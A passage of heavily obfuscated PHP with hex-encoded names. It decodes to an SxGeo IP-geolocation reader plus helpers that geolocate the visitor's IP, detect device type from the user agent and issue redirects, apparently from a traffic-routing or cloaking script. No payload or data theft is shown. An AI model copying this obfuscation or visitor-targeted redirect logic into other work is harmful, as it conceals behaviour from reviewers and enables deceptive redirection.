L\x53"}["\x71\x70ys\x76\x6bm\x73m\x6a\x73\x6c"]}=${${"\x47\x4c\x4f\x42AL\x53"}["\x75\x6f\x65\x75\x6f\x75\x67\x6d\x72\x7a"]}>0?${$fioemredx}*$this->range:0;${"\x47\x4cO\x42A\x4c\x53"}["\x62\x6b\x77\x66\x75i\x67\x68\x64u\x65"]="p\x61r\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65m\x63a\x63\x64\x6b"]="\x62l\x6fc\x6b\x73";${$iubrfhky}=${${"\x47LO\x42\x41L\x53"}["b\x6b\x77fui\x67h\x64\x75\x65"]}>$this->m_idx_len?$this->db_items:(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65u\x6fugm\x72z"]}+1)*$this->range;${"\x47LOBA\x4cS"}["\x62\x61\x62\x76\x78g\x66yk\x75"]="\x6dax";if(${${"\x47LOB\x41L\x53"}["\x71\x70ys\x76km\x73\x6d\x6a\x73l"]}<${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62i\x61v\x63\x6cs"]}["\x6d\x69\x6e"])${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x70\x79\x73\x76kmsm\x6a\x73\x6c"]}=${$ujrhor}["m\x69\x6e"];if(${${"\x47LO\x42\x41\x4c\x53"}["\x62\x61\x62\x76x\x67f\x79\x6bu"]}>${${"\x47\x4c\x4fB\x41\x4cS"}["\x72\x72\x73\x73\x63\x65r\x65h"]}["\x6d\x61\x78"])${${"GL\x4f\x42\x41\x4c\x53"}["\x6b\x62\x65\x75\x6df\x6e\x74w"]}=${${"G\x4c\x4f\x42\x41LS"}["\x65mca\x63dk"]}["m\x61\x78"];}else{${"\x47L\x4fB\x41L\x53"}["\x6d\x71po\x6bs\x6b\x77\x7a"]="\x6d\x69\x6e";${"\x47\x4cO\x42\x41\x4c\x53"}["\x74\x6d\x68\x73\x67\x6b\x63\x6f\x6f"]="\x62l\x6f\x63ks";${"\x47\x4c\x4fBALS"}["\x6b\x76\x65\x64cs"]="\x62lock\x73";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x71\x70ok\x73\x6b\x77z"]}=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x76ed\x63\x73"]}["\x6din"];${${"\x47\x4c\x4fB\x41L\x53"}["\x6bb\x65\x75\x6d\x66\x6e\x74w"]}=${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74\x6d\x68s\x67k\x63\x6fo"]}["m\x61\x78"];}${${"\x47L\x4f\x42\x41L\x53"}["\x74\x65\x6blg\x79\x79\x6e"]}=${${"\x47\x4cO\x42\x41\x4c\x53"}["k\x62\x65u\x6dfn\x74\x77"]}-${${"\x47\x4c\x4fBA\x4cS"}["\x71py\x73\x76\x6b\x6ds\x6d\x6a\x73\x6c"]};if($this->memory_mode){$covigwwt="\x69\x70\x6e";return$this->search_db($this->db,${$covigwwt},${${"G\x4cOB\x41\x4c\x53"}["q\x70y\x73\x76k\x6d\x73mj\x73\x6c"]},${${"\x47L\x4f\x42\x41\x4c\x53"}["kbe\x75\x6df\x6et\x77"]});}else{${"\x47L\x4f\x42\x41\x4cS"}["\x66\x6c\x73bfbq"]="\x6c\x65\x6e";${"\x47\x4c\x4fBAL\x53"}["k\x69m\x78\x61tpo\x75\x74\x6a\x75"]="\x69\x70\x6e";fseek($this->fh,$this->db_begin+${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71py\x73\x76k\x6dsm\x6a\x73\x6c"]}*$this->block_len);return$this->search_db(fread($this->fh,${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x6c\x73\x62\x66\x62\x71"]}*$this->block_len),${${"\x47L\x4f\x42\x41\x4c\x53"}["k\x69\x6dx\x61\x74pout\x6a\x75"]},0,${${"GL\x4fB\x41\x4c\x53"}["\x6e\x6f\x76\x6e\x69\x7a\x6ei"]});}}protected function readData($seek,$max,$type){${"G\x4c\x4f\x42ALS"}["u\x71\x6fr\x77\x6f"]="\x73ee\x6b";${"\x47L\x4f\x42\x41L\x53"}["b\x71\x67\x66o\x62\x73q\x67\x6bh"]="m\x61\x78";${"\x47\x4c\x4f\x42AL\x53"}["\x66\x6c\x6c\x61e\x63\x79\x74j"]="\x74\x79\x70e";$xvjmjvcprk="\x72\x61\x77";${"\x47LO\x42\x41\x4cS"}["\x76\x6d\x69\x6f\x69o\x65\x6e\x73\x6ah"]="raw";${$xvjmjvcprk}="";if(${${"\x47\x4cOBA\x4c\x53"}["\x75qo\x72\x77\x6f"]}&&${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x71\x67\x66\x6f\x62\x73\x71\x67\x6bh"]}){if($this->memory_mode){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x64w\x79cr\x78it\x63"]="\x6d\x61x";${${"\x47L\x4f\x42\x41LS"}["ip\x66v\x61v"]}=substr(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6c\x61\x79\x63\x6a\x76c"]}==1?$this->regions_db:$this->cities_db,${${"\x47\x4cO\x42\x41\x4cS"}["\x73lq\x64f\x64"]},${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x64\x77y\x63r\x78it\x63"]});}else{$lvxwgjywmsy="seek";fseek($this->fh,$this->info[${${"G\x4c\x4fB\x41LS"}["l\x61\x79c\x6a\x76\x63"]}==1?"r\x65\x67ion\x73_\x62\x65gi\x6e":"\x63iti\x65s\x5f\x62e\x67i\x6e"]+${$lvxwgjywmsy});${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x70f\x76\x61v"]}=fread($this->fh,${${"\x47\x4c\x4fB\x41L\x53"}["\x6bb\x65u\x6d\x66nt\x77"]});}}return$this->unpack($this->pack[${${"\x47\x4cO\x42A\x4c\x53"}["\x66\x6cl\x61\x65\x63\x79\x74\x6a"]}],${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x6di\x6fi\x6f\x65\x6es\x6a\x68"]});}protected function parseCity($seek,$full=false){$iyrrnluc="\x73\x65e\x6b";if(!$this->pack)return false;${"G\x4cO\x42\x41L\x53"}["\x7a\x76\x7a\x79\x74\x78\x6a"]="o\x6e\x6c\x79\x5f\x63\x6fun\x74\x72\x79";${${"\x47\x4cO\x42A\x4c\x53"}["\x7a\x76z\x79\x74x\x6a"]}=false;if(${$iyrrnluc}<$this->country_size){${"GLO\x42\x41\x4c\x53"}["q\x78\x6b\x66ke\x73\x6d\x6c\x66\x64"]="\x63o\x75\x6e\x74r\x79";${"GLOB\x41\x4c\x53"}["\x70m\x62\x75\x67\x72o\x76"]="c\x6f\x75\x6e\x74\x72\x79";${"\x47L\x4fBA\x4c\x53"}["k\x77o\x68n\x70\x69q\x74o\x78"]="\x63\x69\x74\x79";$veqmofngirvd="c\x6f\x75\x6e\x74\x72\x79";${"\x47\x4c\x4fB\x41L\x53"}["\x72\x64\x77kd\x7a\x62\x6d"]="\x63\x69\x74y";${$veqmofngirvd}=$this->readData(${${"GLO\x42A\x4c\x53"}["\x73\x6c\x71\x64f\x64"]},$this->max_country,0);${"G\x4c\x4fBA\x4cS"}["\x6d\x68k\x6c\x77kc\x73s\x7ac\x7a"]="\x63i\x74\x79";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x77\x6fh\x6ep\x69q\x74\x6f\x78"]}=$this->unpack($this->pack[2]);${${"\x47L\x4f\x42A\x4c\x53"}["m\x68\x6b\x6cwkc\x73\x73zc\x7a"]}["\x6c\x61t"]=${${"G\x4c\x4f\x42\x41LS"}["\x71x\x6b\x66\x6bes\x6d\x6c\x66\x64"]}["l\x61t"];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x64\x77\x6bd\x7a\x62\x6d"]}["lon"]=${${"GLO\x42\x41LS"}["p\x6dbugr\x6f\x76"]}["\x6con"];${${"\x47\x4c\x4fBAL\x53"}["vp\x69\x67sn\x61b\x79"]}=true;}else{${"GLOB\x41\x4c\x53"}["l\x6e\x77\x75\x66ii\x6e\x73\x6c\x78n"]="c\x69\x74\x79";${${"\x47\x4cO\x42\x41L\x53"}["h\x71\x6e\x71\x67\x67\x7ac\x6a"]}=$this->readData(${${"\x47L\x4fB\x41L\x53"}["s\x6c\x71\x64\x66d"]},$this->max_city,2);${"\x47L\x4f\x42\x41\x4cS"}["\x72e\x68h\x76\x74\x6a\x78\x75"]="\x63\x69\x74\x79";${${"GL\x4fB\x41L\x53"}["\x78\x77\x7a\x79\x71\x74\x63"]}=array("\x69\x64"=>${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x65\x68h\x76t\x6a\x78u"]}["c\x6fun\x74\x72\x79_\x69\x64"],"\x69s\x6f"=>$this->id2iso[${${"\x47L\x4fBA\x4c\x53"}["\x6cn\x77u\x66ii\x6e\x73lxn"]}["cou\x6etr\x79\x5f\x69d"]]);unset(${${"\x47L\x4f\x42\x41LS"}["\x68\x71\x6eq\x67g\x7a\x63\x6a"]}["coun\x74r\x79_id"]);}if(${${"\x47\x4c\x4fBA\x4c\x53"}["\x63\x73fw\x6f\x79\x68lq\x79"]}){${"GL\x4fB\x41\x4c\x53"}["nv\x72j\x6aepo\x62xk"]="\x72e\x67ion";${"\x47L\x4fB\x41\x4c\x53"}["\x73\x64\x6c\x77\x79\x6er"]="\x72\x65\x67\x69o\x6e";${"\x47L\x4f\x42A\x4c\x53"}["\x73ri\x65\x73ju\x65s\x63rg"]="c\x69\x74\x79";${${"G\x4c\x4f\x42A\x4c\x53"}["n\x76r\x6a\x6a\x65p\x6f\x62\x78\x6b"]}=$this->readData(${${"G\x4c\x4fB\x41L\x53"}["\x73\x72i\x65s\x6a\x75esc\x72\x67"]}["re\x67io\x6e_s\x65e\x6b"],$this->max_region,1);${"\x47L\x4f\x42\x41\x4c\x53"}["\x7am\x62\x71\x64\x6em"]="\x63\x69t\x79";${"GL\x4f\x42\x41LS"}["\x6e\x6diko\x6f\x66\x69\x69b\x68\x68"]="reg\x69\x6f\x6e";if(!${${"\x47\x4cO\x42\x41L\x53"}["\x76\x70\x69\x67\x73n\x61\x62y"]})${${"\x47LOBAL\x53"}["\x78\x77zy\x71\x74\x63"]}=$this->readData(${${"\x47L\x4fBA\x4c\x53"}["\x6em\x69\x6bo\x6f\x66\x69\x69\x62\x68\x68"]}["c\x6f\x75n\x74r\x79\x5f\x73\x65ek"],$this->max_country,0);unset(${${"\x47L\x4f\x42\x41L\x53"}["\x7a\x6d\x62\x71\x64nm"]}["re\x67\x69\x6fn\x5fsee\x6b"]);unset(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x73\x64lwy\x6er"]}["\x63ou\x6e\x74ry_\x73ee\x6b"]);return array("\x63\x69t\x79"=>${${"\x47\x4c\x4f\x42\x41L\x53"}["h\x71\x6eq\x67gz\x63j"]},"reg\x69\x6fn"=>${${"G\x4c\x4fB\x41\x4c\x53"}["\x6b\x6ajni\x75\x7a\x76\x66i\x6b\x63"]},"\x63\x6funt\x72\x79"=>${${"GLO\x42ALS"}["\x78\x77z\x79\x71t\x63"]});}else{${"\x47\x4cO\x42\x41\x4cS"}["\x65\x72jmo\x74\x77"]="\x63\x69\x74\x79";$hdvhzfzarq="co\x75\x6et\x72\x79";unset(${${"GL\x4f\x42\x41\x4cS"}["hq\x6eq\x67g\x7a\x63\x6a"]}["\x72\x65\x67ion\x5fse\x65k"]);return array("c\x69\x74y"=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x72\x6a\x6d\x6f\x74w"]},"\x63oun\x74r\x79"=>array("id"=>${$hdvhzfzarq}["i\x64"],"\x69so"=>${${"\x47L\x4fB\x41L\x53"}["\x78\x77zyqt\x63"]}["\x69\x73\x6f"]));}}protected function unpack($pack,$item=''){$warwcxl="\x75n\x70a\x63\x6b\x65\x64";${"\x47L\x4f\x42A\x4cS"}["g\x76\x71\x72\x70o\x6e\x6ajt"]="p";$xvvjkgxbdhz="\x69\x74\x65\x6d";$ekuejvyuxhc="\x70o\x73";${"\x47LO\x42\x41\x4cS"}["\x6awp\x77\x6dbwf\x75\x67p"]="\x65\x6d\x70\x74\x79";${"G\x4c\x4f\x42\x41L\x53"}["\x67iqep\x76\x77x\x6a\x73\x79"]="\x70ac\x6b";${$warwcxl}=array();${${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x77p\x77\x6d\x62\x77fu\x67\x70"]}=empty(${$xvvjkgxbdhz});${${"GL\x4f\x42\x41\x4c\x53"}["\x67i\x71\x65\x70vw\x78\x6asy"]}=explode("/",${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x6d\x73yh\x66w"]});${$ekuejvyuxhc}=0;foreach(${${"GL\x4fB\x41L\x53"}["\x75\x6dsy\x68\x66\x77"]} AS${${"\x47\x4cO\x42A\x4c\x53"}["\x67\x76\x71r\x70\x6fnjj\x74"]}){${"\x47L\x4f\x42\x41LS"}["\x67\x63\x66\x6c\x6by\x6em\x79"]="\x76\x61\x6c";$ieeytbhxbq="ty\x70\x65\x30";${"\x47L\x4f\x42AL\x53"}["tq\x65iy\x63hw\x75\x77"]="\x76";$bwpxmnia="l";$xktckhvosfx="\x76al";$xzdgkluz="\x76";$zcgqlxlggj="l";$imhwbiy="typ\x65";$vjdibvsi="\x76";${"G\x4c\x4f\x42AL\x53"}["\x64x\x6c\x62o\x67\x68"]="t\x79\x70e";$dqngjqcjgja="v";$ybjtmkcixifg="v";${"\x47L\x4f\x42A\x4c\x53"}["\x64fw\x65f\x77\x61\x63wd\x73\x62"]="t\x79\x70\x65";${"GL\x4fB\x41\x4c\x53"}["toe\x6bsyp\x78b"]="\x6c";${"\x47L\x4f\x42\x41\x4cS"}["\x63w\x71\x66\x6a\x77d\x74t"]="\x69\x74\x65m";$qkbknctc="p\x6f\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["j\x6b\x6c\x6f\x74\x73\x70\x70xm\x73\x65"]="unp\x61\x63\x6b\x65\x64";$xmdcxsob="\x76a\x6c";${"GLOB\x41LS"}["\x69hh\x74\x74hd"]="va\x6c";${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x79\x6e\x61e\x66\x66d\x78\x65"]="\x76";${"\x47LO\x42A\x4c\x53"}["\x6b\x68zu\x69\x61\x6aty\x75"]="\x6c";$bwlkxuhhid="\x6c";$earhksk="\x69\x74\x65m";$vkrdgijyram="\x74\x79p\x65\x30";$rnrlkvymwsz="\x76";$jbbqvwbh="\x76\x61\x6c";list(${${"\x47\x4cO\x42\x41\x4cS"}["\x64\x78lb\x6fg\x68"]},${${"GL\x4fB\x41L\x53"}["\x70hn\x77\x6e\x66gopg"]})=explode(":",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x69\x6c\x75q\x62\x68"]});${$ieeytbhxbq}=${${"G\x4c\x4fBAL\x53"}["\x6ca\x79\x63\x6a\x76c"]}{0};$ehellawzd="\x70\x6fs";${"GLO\x42\x41LS"}["\x76\x66\x6ci\x72niu\x77"]="\x76al";$hyjucfgqhhb="\x6c";${"G\x4c\x4f\x42\x41\x4cS"}["d\x6c\x79gp\x68yjc\x69\x74"]="\x76\x61\x6c";${"G\x4c\x4fB\x41L\x53"}["s\x75\x75k\x6dr\x62\x62"]="\x6c";if(${${"GLO\x42\x41\x4cS"}["\x75t\x61\x79\x72\x62d\x78"]}){$uigfkvitd="\x74\x79pe0";$fnmvahkifi="\x75n\x70\x61\x63\x6b\x65\x64";${$fnmvahkifi}[${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x68\x6e\x77\x6e\x66\x67o\x70\x67"]}]=${$uigfkvitd}=="\x62"||${${"\x47LOB\x41\x4c\x53"}["\x62\x6e\x68\x6dhg\x6d\x76\x6f\x73f\x66"]}=="c"?"":0;continue;}switch(${${"\x47L\x4fBA\x4cS"}["\x62\x6e\x68m\x68\x67m\x76\x6f\x73\x66\x66"]}){case"\x74":case"T":${${"\x47\x4cO\x42A\x4cS"}["nu\x6b\x74\x75\x68u"]}=1;break;case"s":case"\x6e":case"\x53":${${"G\x4c\x4f\x42\x41\x4c\x53"}["suuk\x6dr\x62\x62"]}=2;break;case"m":case"\x4d":${${"\x47\x4c\x4fB\x41LS"}["\x74o\x65\x6b\x73\x79\x70\x78b"]}=3;break;case"d":${$bwpxmnia}=8;break;case"\x63":${${"\x47\x4cO\x42A\x4cS"}["\x6bh\x7a\x75i\x61\x6at\x79\x75"]}=(int)substr(${$imhwbiy},1);break;case"\x62":${${"G\x4cO\x42\x41\x4c\x53"}["nu\x6b\x74\x75hu"]}=strpos(${$earhksk},"\0",${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x71\x62\x73u\x65\x65"]})-${$qkbknctc};break;default:${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x75\x6bt\x75\x68u"]}=4;}${${"\x47\x4c\x4f\x42A\x4cS"}["\x73\x6a\x73o\x64\x6b\x73\x74u"]}=substr(${${"G\x4c\x4f\x42\x41LS"}["\x63\x77\x71\x66jwdt\x74"]},${${"\x47\x4c\x4f\x42AL\x53"}["g\x71\x62\x73u\x65e"]},${$hyjucfgqhhb});$fdairwkrkrr="\x76\x61\x6c";switch(${$vkrdgijyram}){case"\x74":${$rnrlkvymwsz}=unpack("c",${$fdairwkrkrr});break;case"T":${${"\x47L\x4fB\x41L\x53"}["\x72c\x6dxi\x72\x76\x70\x64"]}=unpack("\x43",${${"\x47LOBA\x4c\x53"}["\x73jsodks\x74\x75"]});break;case"\x73":${${"\x47LO\x42\x41\x4c\x53"}["r\x63\x6d\x78\x69\x72v\x70\x64"]}=unpack("s",${${"GL\x4f\x42A\x4c\x53"}["i\x68h\x74\x74\x68\x64"]});break;case"\x53":${$ybjtmkcixifg}=unpack("\x53",${$jbbqvwbh});break;case"m":${$xzdgkluz}=unpack("l",${$xktckhvosfx}.(ord(${${"GL\x4f\x42\x41L\x53"}["\x73js\x6f\x64\x6b\x73\x74u"]}{2})>>7?"\xff":"\0"));break;case"\x4d":${${"\x47\x4c\x4f\x42AL\x53"}["\x72cm\x78\x69rv\x70\x64"]}=unpack("L",${${"\x47\x4cO\x42\x41LS"}["d\x6cyg\x70hy\x6a\x63\x69\x74"]}."\0");break;case"i":${$dqngjqcjgja}=unpack("\x6c",${$xmdcxsob});break;case"I":${${"\x47\x4cO\x42AL\x53"}["\x72\x63\x6dx\x69\x72\x76p\x64"]}=unpack("L",${${"\x47L\x4f\x42ALS"}["\x76\x66l\x69\x72ni\x75\x77"]});break;case"\x66":${${"G\x4c\x4f\x42A\x4c\x53"}["rcm\x78\x69r\x76\x70\x64"]}=unpack("f",${${"\x47LO\x42A\x4c\x53"}["s\x6a\x73o\x64k\x73\x74\x75"]});break;case"\x64":${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x63\x6d\x78\x69\x72v\x70d"]}=unpack("\x64",${${"\x47LO\x42\x41LS"}["\x73j\x73\x6f\x64\x6b\x73t\x75"]});break;case"\x6e":${$vjdibvsi}=current(unpack("\x73",${${"\x47L\x4fB\x41\x4c\x53"}["\x67\x63\x66\x6c\x6b\x79\x6emy"]}))/pow(10,${${"GL\x4f\x42\x41\x4cS"}["\x64f\x77\x65\x66\x77\x61\x63w\x64sb"]}{1});break;case"N":${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x63\x6d\x78\x69r\x76\x70d"]}=current(unpack("\x6c",${${"\x47\x4cO\x42\x41\x4c\x53"}["\x73\x6a\x73o\x64k\x73\x74u"]}))/pow(10,${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6ca\x79\x63\x6av\x63"]}{1});break;case"c":${${"\x47\x4cOB\x41L\x53"}["t\x71\x65i\x79c\x68\x77\x75\x77"]}=rtrim(${${"\x47LO\x42\x41\x4c\x53"}["sj\x73o\x64\x6b\x73\x74u"]}," ");break;case"\x62":${${"G\x4c\x4f\x42\x41\x4cS"}["rcmx\x69\x72\x76p\x64"]}=${${"\x47LO\x42\x41\x4cS"}["s\x6a\x73\x6f\x64k\x73\x74\x75"]};${$bwlkxuhhid}++;break;}${$ehellawzd}+=${$zcgqlxlggj};${${"G\x4cO\x42\x41L\x53"}["j\x6blo\x74s\x70\x70\x78\x6d\x73\x65"]}[${${"\x47\x4c\x4f\x42A\x4c\x53"}["phn\x77\x6e\x66\x67\x6f\x70\x67"]}]=is_array(${${"\x47L\x4fB\x41L\x53"}["\x65\x79n\x61\x65\x66\x66\x64\x78\x65"]})?current(${${"\x47L\x4fBAL\x53"}["r\x63\x6d\x78\x69\x72v\x70d"]}):${${"G\x4c\x4fB\x41\x4c\x53"}["\x72\x63m\x78\x69r\x76\x70\x64"]};}return${${"\x47LO\x42\x41L\x53"}["\x71\x74d\x65\x76\x79\x6e\x67\x62"]};}public function get($ip){return$this->max_city?$this->getCity(${${"\x47LO\x42\x41\x4c\x53"}["\x66\x62\x62\x6d\x67\x77hl"]}):$this->getCountry(${${"G\x4c\x4fBA\x4c\x53"}["\x66\x62\x62m\x67\x77\x68\x6c"]});}public function getCountry($ip){${"\x47LO\x42AL\x53"}["b\x62e\x64gf"]="\x69\x70";if($this->max_city){${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x70fq\x79v\x71\x77js"]}=$this->parseCity($this->get_num(${${"\x47LO\x42A\x4c\x53"}["\x66\x62\x62\x6d\x67\x77\x68l"]}));return${${"\x47L\x4fB\x41L\x53"}["v\x70\x66\x71yv\x71\x77\x6a\x73"]}["c\x6f\x75\x6etry"]["i\x73\x6f"];}else return$this->id2iso[$this->get_num(${${"G\x4c\x4f\x42\x41LS"}["\x62\x62\x65d\x67\x66"]})];}public function getCountryId($ip){$jdgvdssnxl="ip";if($this->max_city){$sesknpfocwe="t\x6d\x70";${$sesknpfocwe}=$this->parseCity($this->get_num(${${"\x47\x4cO\x42A\x4cS"}["\x66\x62\x62\x6dg\x77\x68\x6c"]}));return${${"\x47LO\x42\x41\x4c\x53"}["\x76\x70f\x71yv\x71w\x6a\x73"]}["count\x72y"]["i\x64"];}else return$this->get_num(${$jdgvdssnxl});}public function getCity($ip){$lhoxqejbrhzu="\x73\x65\x65k";${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x65ehq\x76"]="\x69\x70";${${"\x47L\x4fB\x41L\x53"}["\x73\x6c\x71\x64f\x64"]}=$this->get_num(${${"\x47L\x4f\x42A\x4c\x53"}["\x63\x65eh\x71\x76"]});return${${"GL\x4f\x42A\x4c\x53"}["s\x6cq\x64\x66\x64"]}?$this->parseCity(${$lhoxqejbrhzu}):false;}public function getCityFull($ip){$qgcdblraow="\x69\x70";${"G\x4cOB\x41L\x53"}["h\x7a\x66\x6achl\x72\x72\x6c"]="se\x65\x6b";${"\x47L\x4f\x42\x41\x4c\x53"}["d\x6a\x6c\x70\x76\x61\x6b"]="\x73e\x65\x6b";$dkkzxjbuu="\x73e\x65\x6b";${${"\x47\x4c\x4fBALS"}["\x68z\x66\x6ac\x68\x6c\x72r\x6c"]}=$this->get_num(${$qgcdblraow});return${$dkkzxjbuu}?$this->parseCity(${${"\x47L\x4f\x42\x41LS"}["\x64jlp\x76a\x6b"]},1):false;}public function about(){${"G\x4c\x4f\x42ALS"}["\x70kch\x6c\x76k\x68\x72t\x72"]="\x63\x68ar\x73et";$ujcgmbciomk="\x74\x79\x70\x65s";$estjth="\x63\x68\x61r\x73\x65\x74";${"G\x4c\x4f\x42A\x4c\x53"}["t\x6f\x6b\x75\x63\x62u\x79gn"]="\x74\x79p\x65\x73";${${"G\x4cO\x42\x41\x4c\x53"}["\x70\x6b\x63\x68lv\x6bhrt\x72"]}=array("utf-\x38","\x6c\x61t\x69\x6e1","\x63\x70\x31251");${$ujcgmbciomk}=array("n/a","\x53\x78\x47e\x6f\x20\x43oun\x74r\x79","Sx\x47e\x6f\x20\x43i\x74\x79\x20\x52U","\x53x\x47\x65\x6f City\x20\x45N","Sx\x47e\x6f \x43\x69ty","\x53x\x47eo\x20City Ma\x78 R\x55","SxG\x65\x6f\x20Cit\x79 \x4d\x61x\x20\x45N","Sx\x47e\x6f \x43\x69ty Max");return array("\x43\x72\x65\x61\x74\x65d"=>date("Y\x2em\x2ed",$this->info["t\x69me"]),"Ti\x6de\x73t\x61m\x70"=>$this->info["\x74\x69\x6de"],"C\x68\x61\x72s\x65\x74"=>${$estjth}[$this->info["c\x68\x61r\x73\x65t"]],"\x54y\x70\x65"=>${${"\x47LO\x42ALS"}["\x74ok\x75cbu\x79g\x6e"]}[$this->info["\x74\x79p\x65"]],"B\x79\x74e \x49n\x64e\x78"=>$this->b_idx_len,"\x4dain\x20In\x64\x65x"=>$this->m_idx_len,"\x42\x6co\x63k\x73 I\x6e\x20\x49n\x64ex\x20It\x65\x6d"=>$this->range,"\x49P B\x6cocks"=>$this->db_items,"\x42\x6c\x6f\x63k Si\x7ae"=>$this->block_len,"C\x69t\x79"=>array("M\x61x \x4c\x65ng\x74\x68"=>$this->max_city,"\x54\x6f\x74\x61\x6c\x20Si\x7ae"=>$this->info["\x63ity\x5f\x73ize"],),"Regi\x6fn"=>array("\x4dax Len\x67\x74h"=>$this->max_region,"\x54o\x74\x61\x6c \x53i\x7ae"=>$this->info["\x72\x65gion\x5fs\x69z\x65"],),"\x43o\x75\x6et\x72\x79"=>array("\x4da\x78 \x4cen\x67t\x68"=>$this->max_country,"To\x74al \x53i\x7a\x65"=>$this->info["\x63\x6f\x75\x6et\x72y_s\x69\x7ae"],),);}}function safeString($string){$nbyofzd="\x73\x74r\x69ng";${${"\x47\x4cO\x42\x41\x4cS"}["\x77\x77pp\x7a\x7as\x68\x64\x76"]}=trim(${$nbyofzd});${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x77\x70\x70\x7az\x73\x68\x64v"]}=htmlspecialchars(${${"\x47\x4c\x4fBA\x4cS"}["wwp\x70\x7a\x7as\x68\x64\x76"]},ENT_COMPAT,"\x55TF-8");return${${"\x47\x4cO\x42A\x4cS"}["ww\x70\x70\x7a\x7a\x73h\x64\x76"]};}$frdzsd="\x5f\x63o\x6e\x66\x69g";function getRedirect($url){@header("Lo\x63a\x74\x69on: ".${${"\x47\x4c\x4f\x42A\x4cS"}["\x6ah\x65\x64\x77\x6cy\x69\x69"]});exit();}function showAjax($callback,$data){$kjbiopsjkeih="\x63\x61llba\x63k";${"\x47\x4c\x4fBAL\x53"}["\x77\x6ct\x72t\x77l\x73\x75bvd"]="\x64\x61ta";die(json_encode(array("c\x61\x6clb\x61c\x6b"=>${$kjbiopsjkeih},"\x64\x61ta"=>${${"\x47\x4cO\x42A\x4c\x53"}["w\x6ctrt\x77\x6cs\x75\x62vd"]})));}function sxGeo($db='SxGeo'){$kqohhofsq="p\x61\x74h";global$_config;${${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x77\x77rh\x6cik"]}=${${"\x47\x4cO\x42\x41L\x53"}["r\x6e\x73\x69\x75\x6f"]}["r\x6f\x6ft"]."/".${${"G\x4cO\x42AL\x53"}["\x6f\x77\x6fm\x6d\x79gr"]}.".d\x61\x74";if(file_exists(${$kqohhofsq})){$fixjxjat="\x70\x61\x74\x68";${${"\x47L\x4fB\x41\x4cS"}["\x66\x70\x6fbu\x79io\x66"]}=new SxGeo(${$fixjxjat});return$SxGeo->get($_SERVER["\x52E\x4d\x4f\x54E\x5f\x41\x44DR"]);}return null;}function is_desktop(){${"GL\x4f\x42A\x4c\x53"}["\x78v\x69\x66p\x61c"]="\x75\x73e\x72a\x67\x65n\x74";${${"\x47\x4c\x4f\x42\x41\x4cS"}["ix\x6f\x70\x6e\x73\x6b\x72\x6c\x71"]}=$_SERVER["\x48T\x54\x50\x5fUS\x45\x52_\x41\x47\x45N\x54"];return stripos(${${"G\x4cOB\x41\x4c\x53"}["\x69\x78\x6fp\x6e\x73\x6b\x72l\x71"]},"\x6d\x6f\x62\x69\x6ce")===false&&stripos(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69x\x6f\x70n\x73\x6b\x72l\x71"]},"\x74a\x62l\x65\x74")===false&&stripos(${${"G\x4c\x4f\x42A\x4cS"}["\x78\x76\x69fpa\x63"]},"\x69p\x61\x64")===false;}function is_tablet(){$qbewgdvspxsi="\x75\x73\x65rage\x6et";${$qbewgdvspxsi}=$_SERVER["H\x54T\x50\x5fU\x53ER_\x41\x47E\x4eT"];return stripos(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x78\x6fp\x6es\x6b\x72l\x71"]},"t\x61\x62l\x65\x74")!==false||stripos(${${"\x47\x4cOB\x41\x4cS"}["\x69\x78o\x70\x6e\x73krlq"]},"ta\x62")!==false;}function is_ipad(){${${"\x47\x4cO\x42\x41\x4c\x53"}["ixo\x70\x6e\x73\x6brlq"]}=$_SERVER["HT\x54P\x5f\x55SE\x52\x5f\x41\x47\x45\x4e\x54"];return stripos(${${"\x47\x4cO\x42\x41\x4c\x53"}["i\x78\x6f\x70n\x73\x6b\x72\x6c\x71"]},"i\x70\x61d")!==false;}function is_mobile(){${"\x47\x4c\x4fB\x41\x4cS"}["l\x71l\x73k\x70y\x67\x76\x71\x78"]="\x75\x73e\x72\x61\x67en\x74";$rnloxnuxenu="\x75\x73e\x72\x61g\x65\x6e\x74";${${"\x47L\x4fB\x41\x4c\x53"}["\x69x\x6f\x70\x6e\x73\x6b\x72l\x71"]}=$_SERVER["\x48\x54\x54P_US\x45\x52_A\x47\x45\x4e\x54"];return stripos(${${"\x47LO\x42A\x4cS"}["l\x71\x6c\x73kpygv\x71\x78"]},"m\x6fbil\x65")!==false||stripos(${${"\x47\x4cO\x42\x41\x4cS"}["\x69\x78o\x70n\x73\x6br\x6c\x71"]},"\x6eok\x69a")!==false||stripos(${$rnloxnuxenu},"ph\x6fn\x65")!==false;}function 